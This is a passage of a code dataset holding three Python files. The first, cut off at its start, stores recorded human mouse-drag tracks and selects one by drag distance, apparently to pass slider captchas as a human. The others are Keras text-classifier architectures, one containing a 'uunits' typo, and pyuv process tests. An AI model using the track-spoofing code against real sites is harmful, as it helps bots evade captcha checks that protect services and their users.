,2785};{91,-1,3120};{92,-1,3168};{94,0,3184};{95,0,3224};{96,0,3249};{97,0,3280};{97,1,3304};{98,1,3369};{99,1,3401};{100,1,3448};{101,1,3546};{102,1,3601};{103,1,3656};{104,1,3794};{106,1,3809};{107,1,3825};{108,1,3842};{109,1,3928};{110,1,3976};{111,1,4000};{112,2,4096};{113,2,4224};{114,2,4240};{115,2,4276};{116,3,4296};{117,3,4338};{118,3,4354};{119,3,4392};{120,3,4409};{121,3,4417};{121,4,4424};{122,4,4457};{123,4,4472};{124,4,4512};{125,4,4584};{126,4,4634};{127,4,4656};{128,4,4704};{129,4,4713};{130,4,4728};{131,4,4760};{132,4,4777};{133,4,4784};{134,5,4792};{135,5,4801};{136,5,4809};{138,6,4840};{139,6,4864};{140,6,4888};{141,6,4899};{142,6,4912};{143,6,4946};{144,6,4961};{145,6,4968};{146,6,4994};{147,6,5010};{148,6,5032};{149,6,5080};{150,6,5121};{151,6,5136};{152,6,5241};{153,6,5305};{155,7,5328};{156,7,5489};{157,7,5544};{158,7,5624};{159,7,5632};{160,7,5696};{162,8,5800};{162,9,5824};{163,9,5856};{164,9,5897};{165,9,5912};{166,9,5954};{167,9,5955};{168,9,5968};{169,9,6032};{170,9,6072};{171,9,6108};{172,9,6128};{173,9,6225};{174,9,6256};{175,9,6272};{176,9,6368};{177,9,6416};{178,9,6456};{179,9,6560};{181,10,6600};{182,10,6696};{183,10,6744};{184,10,6760};{185,10,6888};{186,10,6936};{187,10,6976};{188,10,7096};{189,10,7104};{190,10,7129};{191,10,7177};{192,10,7193};{193,10,7200};{194,10,7248};{195,10,7264};{196,10,7280};{198,11,7320};{198,12,7344};{199,12,7352};{200,12,7448};{201,12,7512};{202,12,7521};{203,12,7664};{204,12,7680};{205,12,7720};{206,12,7786};{207,12,7824};{208,13,7840};{209,13,8008};{209,13,8042};', '{-25,-20,0};{0,0,0};{-1,0,63};{-1,-1,79};{-1,-3,95};{0,-3,103};{0,-3,106};{0,-3,107};{0,-3,107};{0,-3,107};{0,-3,108};{0,-3,108};{0,-3,109};{0,-3,109};{0,-3,109};{1,-3,110};{2,-3,119};{5,-3,127};{8,-3,135};{9,-4,143};{12,-4,151};{15,-4,159};{19,-4,167};{23,-4,175};{28,-4,183};{33,-4,191};{37,-4,199};{42,-4,207};{49,-4,215};{57,-4,223};{62,-4,231};{71,-4,241};{77,-4,248};{77,-4,249};{77,-4,249};{77,-4,249};{86,-4,256};{91,-4,263};{95,-4,272};{100,-4,279};{103,-4,289};{107,-4,295};{111,-4,303};{115,-4,311};{118,-4,319};{120,-4,327};{124,-4,335};{127,-4,343};{128,-4,351};{130,-4,359};{132,-4,367};{134,-4,375};{137,-4,383};{139,-4,391};{140,-4,399};{141,-4,407};{142,-4,423};{143,-4,431};{144,-4,447};{145,-4,455};{146,-4,463};{148,-4,471};{150,-4,487};{151,-4,495};{154,-4,503};{157,-4,512};{158,-4,519};{160,-4,527};{162,-4,535};{164,-4,543};{165,-4,551};{166,-4,559};{167,-4,567};{168,-4,575};{169,-4,591};{170,-4,607};{171,-4,623};{172,-4,640};{174,-4,647};{175,-4,663};{176,-4,671};{177,-4,687};{178,-4,759};{179,-4,767};{180,-4,783};{181,-4,847};{182,-4,863};{183,-4,871};{184,-4,975};{185,-4,991};{186,-4,1056};{187,-4,1074};{188,-4,1079};{189,-4,1096};{189,-4,1463};', '{-23,-18,0};{0,0,0};{0,0,0};{0,1,285};{1,1,293};{3,1,309};{5,1,317};{8,1,325};{11,1,336};{14,1,341};{15,1,351};{17,1,357};{19,1,366};{21,1,373};{22,1,382};{24,1,389};{26,1,398};{29,1,405};{32,1,414};{33,1,421};{36,1,429};{39,1,437};{40,1,445};{43,1,453};{44,1,461};{46,1,469};{47,1,477};{50,1,486};{51,1,501};{54,1,509};{55,1,518};{57,1,525};{58,1,534};{61,2,541};{62,2,550};{64,2,557};{66,2,566};{68,2,573};{69,2,589};{70,2,597};{72,2,605};{73,2,621};{74,2,630};{75,2,637};{76,2,653};{77,2,662};{78,2,669};{79,2,686};{80,2,695};{81,2,701};{82,2,717};{84,2,725};{86,2,741};{87,2,749};{88,2,765};{89,2,781};{91,2,814};{92,2,821};{93,2,829};{94,2,837};{96,2,845};{97,2,853};{99,2,862};{100,2,869};{101,2,878};{102,2,886};{103,2,901};{104,2,909};{105,2,917};{107,2,943};{108,2,949};{109,2,957};{110,2,965};{111,2,973};{112,2,981};{115,2,990};{116,2,1007};{118,2,1014};{120,2,1029};{121,2,1039};{123,2,1054};{124,2,1061};{125,2,1070};{126,2,1086};{128,2,1094};{130,2,1109};{132,1,1117};{134,1,1150};{135,1,1205};{137,1,1229};{138,1,1253};{139,1,1285};{140,1,1325};{140,1,1598};', '{-11,-25,0};{0,0,0};{0,0,5};{3,1,229};{6,1,237};{8,1,245};{10,2,253};{11,2,262};{12,2,269};{13,2,278};{14,2,293};{16,2,333};{17,2,342};{18,2,373};{19,2,381};{20,2,389};{21,2,397};{22,2,406};{23,2,413};{24,2,421};{26,2,429};{27,2,437};{29,2,453};{30,2,477};{32,2,485};{33,2,493};{34,2,501};{35,2,509};{36,2,517};{38,2,525};{39,2,541};{40,2,558};{41,2,573};{42,2,581};{43,2,589};{45,2,597};{46,2,605};{48,2,613};{49,2,621};{52,2,629};{53,2,637};{56,2,645};{57,2,654};{59,2,661};{62,2,669};{67,2,677};{70,2,685};{73,2,693};{76,2,701};{78,2,709};{79,2,717};{81,2,725};{83,2,733};{85,2,749};{86,2,765};{88,2,773};{89,2,781};{90,2,789};{91,2,797};{92,2,813};{93,2,821};{94,2,829};{96,2,845};{96,3,854};{97,3,861};{98,3,877};{99,3,893};{100,3,902};{101,3,958};{102,3,1017};{103,3,1038};{104,3,1181};{105,3,1205};{107,4,1248};{108,4,1365};{109,4,1381};{110,4,1638};{110,4,1825};', '{-16,-23,0};{0,0,0};{1,0,232};{5,0,240};{7,0,248};{9,0,255};{10,0,264};{12,0,272};{14,1,280};{15,1,288};{17,1,296};{18,1,304};{19,2,320};{21,2,328};{22,2,336};{24,3,345};{26,3,352};{29,3,360};{32,3,368};{34,3,376};{37,3,384};{40,3,393};{45,5,400};{49,5,408};{55,6,416};{63,6,423};{67,6,432};{73,6,440};{78,6,448};{82,6,456};{85,6,464};{88,6,472};{89,6,488};{92,6,495};{96,6,504};{99,6,512};{100,6,528};{102,6,600};{103,6,624};{106,6,632};{110,7,642};{114,7,648};{118,7,658};{122,7,664};{128,7,674};{135,7,680};{142,7,689};{146,7,696};{150,7,705};{153,7,712};{155,7,720};{158,7,727};{161,7,736};{164,7,744};{166,7,752};{168,7,759};{169,7,768};{172,7,775};{174,7,784};{176,7,792};{177,7,895};{176,7,1104};{173,7,1118};{171,7,1131};{170,7,1149};{169,7,1641};{168,7,1657};{167,7,1704};{167,7,2144};', '{-10,-20,0};{0,0,0};{1,0,164};{2,0,212};{3,0,228};{4,0,244};{5,0,270};{6,0,277};{7,0,292};{8,0,309};{9,0,318};{10,0,324};{11,0,340};{12,0,356};{13,0,365};{14,0,388};{15,0,396};{16,0,404};{17,0,420};{18,0,429};{19,0,436};{20,0,468};{21,0,492};{22,0,524};{24,0,534};{25,0,550};{26,0,566};{27,0,572};{28,0,583};{30,0,597};{31,0,613};{33,0,630};{35,0,636};{36,0,646};{37,0,652};{39,0,661};{41,0,668};{43,0,677};{44,0,684};{45,0,692};{47,0,701};{48,0,716};{50,0,726};{51,0,748};{52,1,764};{53,1,780};{54,1,812};{55,1,820};{56,1,828};{57,1,845};{58,1,852};{59,1,861};{60,1,878};{61,1,884};{62,1,893};{63,1,900};{64,1,908};{65,1,916};{66,1,932};{68,1,941};{69,1,948};{70,2,964};{71,2,972};{72,2,980};{74,2,988};{75,2,1004};{77,2,1021};{78,2,1037};{80,2,1052};{80,3,1060};{81,3,1076};{83,3,1141};{84,3,1334};{86,3,1356};{87,3,1437};{87,2,1542};{86,2,1566};{84,1,1572};{83,1,1588};{81,1,1605};{80,1,1621};{79,1,1636};{78,1,1644};{77,1,1669};{76,0,1700};{76,0,2158};', '{-27,-20,0};{0,0,0};{1,0,175};{2,0,183};{5,0,191};{6,0,200};{8,0,215};{9,0,225};{10,0,232};{11,0,240};{12,0,263};{13,0,273};{15,0,279};{17,0,295};{18,0,304};{21,0,312};{22,0,320};{24,0,328};{26,0,336};{28,0,343};{30,0,352};{33,0,359};{36,0,369};{39,0,375};{41,0,383};{44,0,391};{47,0,399};{49,0,407};{52,0,415};{54,0,423};{55,0,431};{58,0,439};{60,0,447};{63,0,456};{66,0,464};{69,0,471};{70,0,479};{73,0,487};{74,0,495};{76,0,504};{77,0,523};{79,0,527};{81,0,543};{84,0,553};{85,0,559};{86,0,570};{87,0,576};{89,0,589};{90,0,593};{92,0,601};{93,0,608};{95,0,624};{97,0,633};{99,1,640};{100,1,648};{101,1,656};{103,1,666};{104,2,672};{106,2,688};{107,2,696};{108,2,704};{109,2,713};{110,2,728};{111,2,736};{113,2,744};{114,2,760};{116,2,771};{117,2,776};{118,2,784};{120,3,792};{120,4,802};{121,4,816};{122,4,824};{123,4,834};{125,4,840};{126,4,856};{128,4,866};{129,4,880};{131,4,904};{132,4,936};{133,4,944};{134,4,960};{135,4,976};{136,4,984};{137,4,992};{139,4,1008};{140,4,1016};{141,4,1024};{142,4,1032};{143,4,1040};{144,4,1048};{145,4,1064};{146,4,1072};{147,4,1080};{148,4,1113};{149,4,1121};{150,4,1152};{151,4,1688};{152,4,1818};{152,4,2331};' ] # return source_track # linux 和widow不同 # 从dos转为Unix # original = "t_dict_unix.pkl" # destination = "t_dict.pkl" # # content = '' # outsize = 0 # with open(original, 'rb') as infile: # content = infile.read() # with open(destination, 'wb') as output: # for line in content.splitlines(): # outsize += len(line) + 1 # output.write(line + str.encode('\n')) t_dict = pickle.load(open('t_dict_unix.pkl', 'rb')) if str(dist) in t_dict: print('in file %s' % dist) return t_dict[str(dist)], 1 if str(dist - 1) in t_dict: print('in file %s-1' % (dist)) return t_dict[str(dist - 1)], 1 if str(dist + 1) in t_dict: print('in file %s+1' % (dist)) return t_dict[str(dist + 1)], 1 if str(dist - 2) in t_dict: print('in file %s-2' % (dist)) return t_dict[str(dist - 2)], 1 if str(dist + 2) in t_dict: print('in file %s+2' % (dist)) return t_dict[str(dist + 2)], 1 # 先前没有保存t_dict.pkl的时候使用了source_track中的值 # 若t_dick收集的完善，将不会执行到这一步，可将一下代码注释 # 若某个小概率距离t_dick中未出现，则从source_track的轨迹中截取 s = '{%d,' % dist print(s) tmp_track_list = [] for item in source_track[:]: if s in item: tmp_track_list.append(item) if len(tmp_track_list) > 0: return random.sample(tmp_track_list, 1)[0], 0 else: return source_track[0], 0 def choice_track(dist): track, tag = choice_track_list(dist) # 来自训练路径 tag=1 # 规范化轨迹数据 [[x,y,t],...] track_list = format_track(track) # 路径列表 # 若tag==0,即轨迹数据不在已收集的轨迹文件中（来自候选轨迹列表）, # 则截取路径（从中截取需要的长度） if tag != 1: # 采用垃圾算法获取轨迹建议重写 new_track_list = get_trace_fast(dist) else: # tag==1 轨迹数据来自文件直接赋值 new_track_list = track_list return new_track_list if __name__ == '__main__': print(choice_track(76))

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18eb3a79ba81205a75211cfada12a019cf85f9aa

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py

Python

src/steps/keras/architectures.py

kant/open-solution-mapping-challenge

c3b2058b80edbeef0633939ed8e33f181b77a9c5

[ "MIT" ]

200

2018-04-16T09:06:38.000Z

2020-01-19T04:04:56.000Z

src/steps/keras/architectures.py

kant/open-solution-mapping-challenge

c3b2058b80edbeef0633939ed8e33f181b77a9c5

[ "MIT" ]

83

2018-04-22T21:50:22.000Z

2019-12-18T03:29:59.000Z

src/steps/keras/architectures.py

kant/open-solution-mapping-challenge

c3b2058b80edbeef0633939ed8e33f181b77a9c5

[ "MIT" ]

56

2018-04-16T11:10:03.000Z

2020-01-17T20:10:33.000Z

from keras import regularizers from keras.activations import relu from keras.layers import Input, Embedding, PReLU, Bidirectional, Lambda, \ CuDNNLSTM, CuDNNGRU, Conv1D, Dense, BatchNormalization, Dropout, SpatialDropout1D, \ GlobalMaxPool1D, GlobalAveragePooling1D, MaxPooling1D from keras.layers.merge import add, concatenate from keras.models import Model from .contrib import AttentionWeightedAverage def scnn(embedding_matrix, embedding_size, trainable_embedding, maxlen, max_features, filter_nr, kernel_size, repeat_block, dense_size, repeat_dense, output_size, output_activation, max_pooling, mean_pooling, weighted_average_attention, concat_mode, dropout_embedding, conv_dropout, dense_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, dense_kernel_reg_l2, dense_bias_reg_l2, use_prelu, use_batch_norm, batch_norm_first): input_text = Input(shape=(maxlen,)) x = Embedding(max_features, embedding_size, weights=[embedding_matrix], trainable=trainable_embedding)( input_text) x = dropout_block(dropout_embedding, dropout_mode)(x) for _ in range(repeat_block): x = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first)(x) predictions = classification_block(dense_size=dense_size, repeat_dense=repeat_dense, output_size=output_size, output_activation=output_activation, max_pooling=max_pooling, mean_pooling=mean_pooling, weighted_average_attention=weighted_average_attention, concat_mode=concat_mode, dropout=dense_dropout, kernel_reg_l2=dense_kernel_reg_l2, bias_reg_l2=dense_bias_reg_l2, use_prelu=use_prelu, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first)(x) model = Model(inputs=input_text, outputs=predictions) return model def dpcnn(embedding_matrix, embedding_size, trainable_embedding, maxlen, max_features, filter_nr, kernel_size, repeat_block, dense_size, repeat_dense, output_size, output_activation, max_pooling, mean_pooling, weighted_average_attention, concat_mode, dropout_embedding, conv_dropout, dense_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, dense_kernel_reg_l2, dense_bias_reg_l2, use_prelu, use_batch_norm, batch_norm_first): """ Note: Implementation of http://ai.tencent.com/ailab/media/publications/ACL3-Brady.pdf post activation is used instead of pre-activation, could be worth exploring """ input_text = Input(shape=(maxlen,)) if embedding_matrix is not None: embedding = Embedding(max_features, embedding_size, weights=[embedding_matrix], trainable=trainable_embedding)(input_text) else: embedding = Embedding(max_features, embedding_size)(input_text) embedding = dropout_block(dropout_embedding, dropout_mode)(embedding) x = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first)(embedding) x = convolutional_block(filter_nr, kernel_size, conv_bias_reg_l2, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first)(x) if embedding_size == filter_nr: x = add([embedding, x]) else: embedding_resized = shape_matching_layer(filter_nr, use_prelu, conv_kernel_reg_l2, conv_bias_reg_l2)(embedding) x = add([embedding_resized, x]) for _ in range(repeat_block): x = dpcnn_block(filter_nr, kernel_size, use_batch_norm, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first)(x) predictions = classification_block(dense_size=dense_size, repeat_dense=repeat_dense, output_size=output_size, output_activation=output_activation, max_pooling=max_pooling, mean_pooling=mean_pooling, weighted_average_attention=weighted_average_attention, concat_mode=concat_mode, dropout=dense_dropout, kernel_reg_l2=dense_kernel_reg_l2, bias_reg_l2=dense_bias_reg_l2, use_prelu=use_prelu, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first)(x) model = Model(inputs=input_text, outputs=predictions) return model def cudnn_lstm(embedding_matrix, embedding_size, trainable_embedding, maxlen, max_features, unit_nr, repeat_block, dense_size, repeat_dense, output_size, output_activation, max_pooling, mean_pooling, weighted_average_attention, concat_mode, dropout_embedding, rnn_dropout, dense_dropout, dropout_mode, rnn_kernel_reg_l2, rnn_recurrent_reg_l2, rnn_bias_reg_l2, dense_kernel_reg_l2, dense_bias_reg_l2, use_prelu, use_batch_norm, batch_norm_first): input_text = Input(shape=(maxlen,)) if embedding_matrix is not None: x = Embedding(max_features, embedding_size, weights=[embedding_matrix], trainable=trainable_embedding)(input_text) else: x = Embedding(max_features, embedding_size)(input_text) x = dropout_block(dropout_embedding, dropout_mode)(x) for _ in range(repeat_block): x = cudnn_lstm_block(unit_nr=unit_nr, return_sequences=True, bidirectional=True, kernel_reg_l2=rnn_kernel_reg_l2, recurrent_reg_l2=rnn_recurrent_reg_l2, bias_reg_l2=rnn_bias_reg_l2, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first, dropout=rnn_dropout, dropout_mode=dropout_mode, use_prelu=use_prelu)(x) predictions = classification_block(dense_size=dense_size, repeat_dense=repeat_dense, output_size=output_size, output_activation=output_activation, max_pooling=max_pooling, mean_pooling=mean_pooling, weighted_average_attention=weighted_average_attention, concat_mode=concat_mode, dropout=dense_dropout, kernel_reg_l2=dense_kernel_reg_l2, bias_reg_l2=dense_bias_reg_l2, use_prelu=use_prelu, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first)(x) model = Model(inputs=input_text, outputs=predictions) return model def cudnn_gru(embedding_matrix, embedding_size, trainable_embedding, maxlen, max_features, unit_nr, repeat_block, dense_size, repeat_dense, output_size, output_activation, max_pooling, mean_pooling, weighted_average_attention, concat_mode, dropout_embedding, rnn_dropout, dense_dropout, dropout_mode, rnn_kernel_reg_l2, rnn_recurrent_reg_l2, rnn_bias_reg_l2, dense_kernel_reg_l2, dense_bias_reg_l2, use_prelu, use_batch_norm, batch_norm_first): input_text = Input(shape=(maxlen,)) if embedding_matrix is not None: x = Embedding(max_features, embedding_size, weights=[embedding_matrix], trainable=trainable_embedding)(input_text) else: x = Embedding(max_features, embedding_size)(input_text) x = dropout_block(dropout_embedding, dropout_mode)(x) for _ in range(repeat_block): x = cudnn_gru_block(unit_nr=unit_nr, return_sequences=True, bidirectional=True, kernel_reg_l2=rnn_kernel_reg_l2, recurrent_reg_l2=rnn_recurrent_reg_l2, bias_reg_l2=rnn_bias_reg_l2, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first, dropout=rnn_dropout, dropout_mode=dropout_mode, use_prelu=use_prelu)(x) predictions = classification_block(dense_size=dense_size, repeat_dense=repeat_dense, output_size=output_size, output_activation=output_activation, max_pooling=max_pooling, mean_pooling=mean_pooling, weighted_average_attention=weighted_average_attention, concat_mode=concat_mode, dropout=dense_dropout, kernel_reg_l2=dense_kernel_reg_l2, bias_reg_l2=dense_bias_reg_l2, use_prelu=use_prelu, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first)(x) model = Model(inputs=input_text, outputs=predictions) return model def vdcnn(embedding_size, maxlen, max_features, filter_nr, kernel_size, repeat_block, dense_size, repeat_dense, output_size, output_activation, max_pooling, mean_pooling, weighted_average_attention, concat_mode, dropout_embedding, conv_dropout, dense_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, dense_kernel_reg_l2, dense_bias_reg_l2, use_prelu, use_batch_norm, batch_norm_first): """ Note: Implementation of http://www.aclweb.org/anthology/E17-1104 We didn't use k-max pooling but GlobalMaxPool1D at the end and didn't explore it in the intermediate layers. """ input_text = Input(shape=(maxlen,)) x = Embedding(input_dim=max_features, output_dim=embedding_size)(input_text) x = dropout_block(dropout_embedding, dropout_mode)(x) x = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first)(x) for i in range(repeat_block): if i + 1 != repeat_block: x = vdcnn_block(filter_nr, kernel_size, use_batch_norm, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first, last_block=False)(x) else: x = vdcnn_block(filter_nr, kernel_size, use_batch_norm, use_prelu, conv_dropout, dropout_mode, conv_kernel_reg_l2, conv_bias_reg_l2, batch_norm_first, last_block=True)(x) predictions = classification_block(dense_size=dense_size, repeat_dense=repeat_dense, output_size=output_size, output_activation=output_activation, max_pooling=max_pooling, mean_pooling=mean_pooling, weighted_average_attention=weighted_average_attention, concat_mode=concat_mode, dropout=dense_dropout, kernel_reg_l2=dense_kernel_reg_l2, bias_reg_l2=dense_bias_reg_l2, use_prelu=use_prelu, use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first)(x) model = Model(inputs=input_text, outputs=predictions) return model def classification_block(dense_size, repeat_dense, output_size, output_activation, max_pooling, mean_pooling, weighted_average_attention, concat_mode, dropout, kernel_reg_l2, bias_reg_l2, use_prelu, use_batch_norm, batch_norm_first): def f(x): if max_pooling: x_max = GlobalMaxPool1D()(x) else: x_max = None if mean_pooling: x_mean = GlobalAveragePooling1D()(x) else: x_mean = None if weighted_average_attention: x_att = AttentionWeightedAverage()(x) else: x_att = None x = [xi for xi in [x_max, x_mean, x_att] if xi is not None] if len(x) == 1: x = x[0] else: if concat_mode == 'concat': x = concatenate(x, axis=-1) else: NotImplementedError('only mode concat for now') for _ in range(repeat_dense): x = dense_block(dense_size=dense_size, use_batch_norm=use_batch_norm, use_prelu=use_prelu, dropout=dropout, kernel_reg_l2=kernel_reg_l2, bias_reg_l2=bias_reg_l2, batch_norm_first=batch_norm_first)(x) x = Dense(output_size, activation=output_activation)(x) return x return f def dropout_block(dropout, dropout_mode): def f(x): if dropout_mode == 'spatial': x = SpatialDropout1D(dropout)(x) elif dropout_mode == 'simple': x = Dropout(dropout)(x) else: raise NotImplementedError('spatial and simple modes are supported') return x return f def prelu_block(use_prelu): def f(x): if use_prelu: x = PReLU()(x) else: x = Lambda(relu)(x) return x return f def bn_relu_dropout_block(use_batch_norm, use_prelu, dropout, dropout_mode, batch_norm_first): def f(x): if use_batch_norm and batch_norm_first: x = BatchNormalization()(x) x = prelu_block(use_prelu)(x) x = dropout_block(dropout, dropout_mode)(x) if use_batch_norm and not batch_norm_first: x = BatchNormalization()(x) return x return f def convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first): def f(x): x = Conv1D(filter_nr, kernel_size=kernel_size, padding='same', activation='linear', kernel_regularizer=regularizers.l2(kernel_reg_l2), bias_regularizer=regularizers.l2(bias_reg_l2))(x) x = bn_relu_dropout_block(use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first, dropout=dropout, dropout_mode=dropout_mode, use_prelu=use_prelu)(x) return x return f def shape_matching_layer(filter_nr, use_prelu, kernel_reg_l2, bias_reg_l2): def f(x): x = Conv1D(filter_nr, kernel_size=1, padding='same', activation='linear', kernel_regularizer=regularizers.l2(kernel_reg_l2), bias_regularizer=regularizers.l2(bias_reg_l2))(x) x = prelu_block(use_prelu)(x) return x return f def cudnn_lstm_block(unit_nr, return_sequences, bidirectional, kernel_reg_l2, recurrent_reg_l2, bias_reg_l2, use_batch_norm, batch_norm_first, dropout, dropout_mode, use_prelu): def f(x): gru_layer = CuDNNLSTM(uunits=unit_nr, return_sequences=return_sequences, kernel_regularizer=regularizers.l2(kernel_reg_l2), recurrent_regularizer=regularizers.l2(recurrent_reg_l2), bias_regularizer=regularizers.l2(bias_reg_l2) ) if bidirectional: x = Bidirectional(gru_layer)(x) else: x = gru_layer(x) x = bn_relu_dropout_block(use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first, dropout=dropout, dropout_mode=dropout_mode, use_prelu=use_prelu)(x) return x return f def cudnn_gru_block(unit_nr, return_sequences, bidirectional, kernel_reg_l2, recurrent_reg_l2, bias_reg_l2, use_batch_norm, batch_norm_first, dropout, dropout_mode, use_prelu): def f(x): gru_layer = CuDNNGRU(units=unit_nr, return_sequences=return_sequences, kernel_regularizer=regularizers.l2(kernel_reg_l2), recurrent_regularizer=regularizers.l2(recurrent_reg_l2), bias_regularizer=regularizers.l2(bias_reg_l2) ) if bidirectional: x = Bidirectional(gru_layer)(x) else: x = gru_layer(x) x = bn_relu_dropout_block(use_batch_norm=use_batch_norm, batch_norm_first=batch_norm_first, dropout=dropout, dropout_mode=dropout_mode, use_prelu=use_prelu)(x) return x return f def dense_block(dense_size, use_batch_norm, use_prelu, dropout, kernel_reg_l2, bias_reg_l2, batch_norm_first): def f(x): x = Dense(dense_size, activation='linear', kernel_regularizer=regularizers.l2(kernel_reg_l2), bias_regularizer=regularizers.l2(bias_reg_l2))(x) x = bn_relu_dropout_block(use_batch_norm=use_batch_norm, use_prelu=use_prelu, dropout=dropout, dropout_mode='simple', batch_norm_first=batch_norm_first)(x) return x return f def dpcnn_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first): def f(x): x = MaxPooling1D(pool_size=3, strides=2)(x) main = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first)(x) main = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first)(main) x = add([main, x]) return x return f def vdcnn_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first, last_block): def f(x): main = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first)(x) x = add([main, x]) main = convolutional_block(filter_nr, kernel_size, use_batch_norm, use_prelu, dropout, dropout_mode, kernel_reg_l2, bias_reg_l2, batch_norm_first)(x) x = add([main, x]) if not last_block: x = MaxPooling1D(pool_size=3, strides=2)(x) return x return f

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beca0766badad6c80c45f258af8d7476467f1664

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py

Python

tests/test_process.py

benoitc/pyuv

51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18

[ "MIT" ]

1

2020-01-21T11:10:38.000Z

tests/test_process.py

benoitc/pyuv

51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18

[ "MIT" ]

null

tests/test_process.py

benoitc/pyuv

51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18

[ "MIT" ]

null

import os try: import pwd except ImportError: pwd = None import sys from common import platform_skip, unittest2 import common import pyuv class ProcessTest(unittest2.TestCase): def test_process_basic(self): self.exit_cb_called = 0 self.close_cb_called = 0 def proc_close_cb(proc): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(proc_close_cb) loop = pyuv.Loop.default_loop() proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_basic.py"], exit_callback=proc_exit_cb) else: proc.spawn(file="./proc_basic.py", exit_callback=proc_exit_cb) pid = proc.pid loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 1) self.assertNotEqual(pid, None) def test_process_cwd(self): self.exit_cb_called = 0 self.close_cb_called = 0 def proc_close_cb(proc): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(proc_close_cb) loop = pyuv.Loop.default_loop() proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_basic.py"], exit_callback=proc_exit_cb, cwd=".") else: proc.spawn(file="./proc_basic.py", exit_callback=proc_exit_cb, cwd=".") loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 1) def test_process_stdout(self): self.exit_cb_called = 0 self.close_cb_called = 0 self.received_output = None def handle_close_cb(handle): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(handle_close_cb) def stdout_read_cb(handle, data, error): if data is not None: self.received_output = data.strip() handle.close(handle_close_cb) loop = pyuv.Loop.default_loop() stdout_pipe = pyuv.Pipe(loop) stdio = [] stdio.append(pyuv.StdIO(flags=pyuv.UV_IGNORE)) stdio.append(pyuv.StdIO(stream=stdout_pipe, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_WRITABLE_PIPE)) proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_stdout.py"], exit_callback=proc_exit_cb, stdio=stdio) else: proc.spawn(file="./proc_stdout.py", exit_callback=proc_exit_cb, stdio=stdio) stdout_pipe.start_read(stdout_read_cb) loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 2) self.assertEqual(self.received_output, b"TEST") def test_process_args(self): self.exit_cb_called = 0 self.close_cb_called = 0 self.received_output = None def handle_close_cb(handle): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(handle_close_cb) def stdout_read_cb(handle, data, error): self.received_output = data.strip() handle.close(handle_close_cb) loop = pyuv.Loop.default_loop() stdout_pipe = pyuv.Pipe(loop) stdio = [] stdio.append(pyuv.StdIO(flags=pyuv.UV_IGNORE)) stdio.append(pyuv.StdIO(stream=stdout_pipe, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_WRITABLE_PIPE)) proc = pyuv.Process(loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", "proc_args_stdout.py", b"TEST"], exit_callback=proc_exit_cb, stdio=stdio) else: proc.spawn(file="./proc_args_stdout.py", args=["TEST"], exit_callback=proc_exit_cb, stdio=stdio) stdout_pipe.start_read(stdout_read_cb) loop.run() self.assertEqual(self.exit_cb_called, 1) self.assertEqual(self.close_cb_called, 2) self.assertEqual(self.received_output, b"TEST") def test_process_env(self): self.exit_cb_called = 0 self.close_cb_called = 0 self.received_output = None def handle_close_cb(handle): self.close_cb_called +=1 def proc_exit_cb(proc, exit_status, term_signal): self.assertEqual(exit_status, 0) self.exit_cb_called += 1 proc.close(handle_close_cb) def 